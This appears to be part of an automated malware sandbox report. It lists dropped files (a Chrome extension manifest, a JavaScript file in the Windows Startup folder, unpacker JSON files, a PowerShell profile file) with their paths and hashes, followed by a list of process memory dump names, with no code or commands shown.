SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1468_308316955\CRX_INSTALL\manifest.json
Size 962B
SHA256 5694c91f7d165c6f25daf0825c18b373b0a81ea122c89da60438cd487455fd6a
MD5 e805e9e69fd6ecdca65136957b1fb3be
SHA1 2356f60884130c86a45d4b232a26062c7830e622
SHA512 049662ef470d2b9e030a06006894041ae6f787449e4ab1fbf4959adcb88c6bb87a957490212697815bb3627763c01b7b243cf4e3c4620173a95795884d998a75
TLSH
T1661121366E2FC4260AE00698DC51308AF92453ADD380850E35BCE42E5B744FA430631E
MD5 SHA1 SHA512 TLSH

Submit Download

Torrent (3).JS

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Torrent (3).JS
Size 64KB
SHA256 a73ae0eb116c34d7af595915a42f67dbe1ce52a7bceb29ccb52b7727e008f292
MD5 6143ca18ee4565774b739ef9b700199f
SHA1 071d1fcd3184fd6363db6eca45b1b30a884184ea
SHA512 3544cd663c3be7a6dce6b551cefd37faf6fa1f9542df17a8f6049cd827520a6e540b69f6943709f0bb6623e075ac3058aef6370dea03b64674e43bd9c8258441
SSDEEP 1536:5eJCLC5CijCLC5Ciee4Auj57w9whCX1bulaj6ajvCajPajRDCXaNGbNG2iJO3gRT:ntMGe9bDevYidT
TLSH
T16B53935C4704C8D16EEB5A535F57FE8888A7862EDFEA33DE90497789076768308FB009
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nav_config.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1468_83941822\nav_config.json
Size 2KB
SHA256 98252dc9f9e81167e893f2c32f08ee60e9a6c43fadb454400ed3bff3a68fbf0d
MD5 499d9e568b96e759959dc69635470211
SHA1 2462a315342e0c09fd6c5fbd7f1e7ff6914c17e6
SHA512 3a5922697b5356fd29ccf8dcc2e5e0e8c1fd955046a5bacf11b8ac5b7c147625d31ade6ff17be86e79c2c613104b2d2aebb11557399084d422e304f287d8b905
TLSH
T16B51DB73D5988C4B9BF4A29CE919A309F11107CF75D48C0B76BE010C1F7757AB5C6588
MD5 SHA1 SHA512 TLSH

Submit Download

protocols.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1468_93325832\protocols.json
Size 3KB
SHA256 2edf732da5fd827859e7a1a5b69a4a622cfc416f60a6ae04154d5aad3a1bccec
MD5 5e2067a92dcfcb05537479c384a89725
SHA1 eeed29b07d865ac4d46629fddadad629d0ad4e2b
SHA512 c96c5f9cb7a169ad91b070b567cf9fa8f35951ccc5aa930e97dbeccbeac27f7e9dde1379138c9ba6b0d10339f9cb053ef21f19f06d7560f97d5d23a27c8ed4f6
TLSH
T17D7184B7862088194E360AB4AA0DF10DF93702DF2AF598D3B27D455F1F712BB3946249
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 39f288065d8ae0b8db3500cd7747a25fa78fabc1fb809c3033c4764591c9df78
MD5 082b114247560ce23fc3a21853587b8c
SHA1 468627d335d6e65509aeaff9c37fc06e97c15966
SHA512 e6ebb07ec40f6db7bf7c17eb3cdb718c4cecbf85db7eb230b18930c396b706a5aa44a4857cb8b48bd71dc291ddd264e2b3139a395a0a4578633f98ce79f87656
TLSH
T173215733F3CC8624C89A403650CEAC1036B687DB419EDF6BBB84D154A43F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1204-117-0x00007FF762E90000-0x00007FF763021000-memory.dmp

Download

memory/1520-54-0x000001ABA6510000-0x000001ABA6532000-memory.dmp

Download

memory/3756-23-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/3756-142-0x0000022CA7270000-0x0000022CA7278000-memory.dmp

Download

memory/3756-41-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/3756-135-0x0000022CA4E60000-0x0000022CA4E72000-memory.dmp

Download

memory/3756-136-0x0000022CA50B0000-0x0000022CA50EC000-memory.dmp

Download

memory/3756-137-0x0000022CA4E80000-0x0000022CA4EA6000-memory.dmp

Download

memory/3756-138-0x0000022CA7390000-0x0000022CA78B8000-memory.dmp

Download

memory/3756-139-0x0000022CA5140000-0x0000022CA5148000-memory.dmp

Download

memory/3756-191-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/3756-104-0x0000022CA4FF0000-0x0000022CA50AA000-memory.dmp

Download

memory/3756-115-0x0000022CA4D90000-0x0000022CA4D9A000-memory.dmp

Download

memory/3756-22-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/3756-157-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/3756-156-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/3756-140-0x0000022CA71E0000-0x0000022CA721E000-memory.dmp

Download

memory/3756-20-0x0000022C8A770000-0x0000022C8A836000-memory.dmp

Download

memory/3756-143-0x0000022CAA360000-0x0000022CAA4E8000-memory.dmp

Download

memory/3756-19-0x00007FFB23A5F000-0x00007FFB23A60000-memory.dmp

Download

memory/3756-141-0x0000022CA70E0000-0x0000022CA70EE000-memory.dmp

Download

memory/3756-48-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/4420-1096-0x00007FF762E90000-0x00007FF763021000-memory.dmp

Download

memory/6068-155-0x00007FF762E90000-0x00007FF763021000-memory.dmp

Download

memory/6068-28-0x0000026F69560000-0x0000026F696E5000-memory.dmp

Download

memory/6068-193-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/6068-40-0x0000026F69F40000-0x0000026F6A0C6000-memory.dmp

Download

memory/6068-50-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

Download

memory/6068-42-0x0000026F68FB0000-0x0000026F68FE0000-memory.dmp

Download

memory/6200-996-0x00007FF762E90000-0x00007FF763021000-memory.dmp

Download